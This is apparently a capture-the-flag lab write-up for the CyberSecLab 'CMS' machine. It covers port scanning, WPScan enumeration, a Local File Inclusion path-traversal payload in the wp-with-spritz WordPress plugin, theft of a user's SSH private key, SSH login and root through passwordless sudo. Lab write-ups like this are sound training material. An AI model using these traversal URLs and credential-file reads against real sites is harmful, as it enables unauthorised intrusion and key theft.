> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/cms.md).

# CMS

## nmap

```
mkdir nmap
sudo rustscan -a 172.31.1.8 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan 
```

A web service is available on port 80

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjWmL2eiMtpG3T4HGBp%2F-MjWmbiFeYPFm9xMmhAL%2Fimage.png?alt=media&amp;token=03817808-7874-4aec-939d-14799e1be5a1" alt=""></div>

## Web enumeration

Looks like the website is running on WordPress

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjWmL2eiMtpG3T4HGBp%2F-MjWmwRPd24QyZsr7OaM%2Fimage.png?alt=media&amp;token=a235a532-085e-46df-954d-3b0088b2d67f" alt=""></div>

Run `wpscan` and after a few seconds, looks like it is vulnerable to Local File Inclusion

```
wpscan --url <url> --api-token <token> | tee wpscan-root
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjWmL2eiMtpG3T4HGBp%2F-MjWnJYr_97LUYjq707L%2Fimage.png?alt=media&amp;token=be67ce19-5608-413a-b544-e477a19879fc" alt=""></div>

## Exploitation

We can use LFI to grab `/etc/passwd`

```
http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjWmL2eiMtpG3T4HGBp%2F-MjWnZTBxXayAG34d3Mf%2Fimage.png?alt=media&amp;token=42fb7ef6-6b56-4227-973a-be505196389f" alt=""></div>

Then grab the Private SSH Key of user `angel`

```
http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjWmL2eiMtpG3T4HGBp%2F-MjWnzeI7tP75QpytVb7%2Fimage.png?alt=media&amp;token=68c62a88-29c9-42a7-be90-174ff6bd02eb" alt=""></div>

## Exploitation

Log in via SSH using the `id_rsa` file we found.

```
chmod 600 angel_id_rsa
ssh -i ./angel_id_rsa angel@172.31.1.8
```

## Privilege Escalation

We can run any `sudo` command without a password. Just run `sudo su` to log in as root.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjWmL2eiMtpG3T4HGBp%2F-MjWoizSQLuDx3eUKGHh%2Fimage.png?alt=media&amp;token=5de3af51-5d07-4958-9726-149b8e9dbda8" alt=""></div>
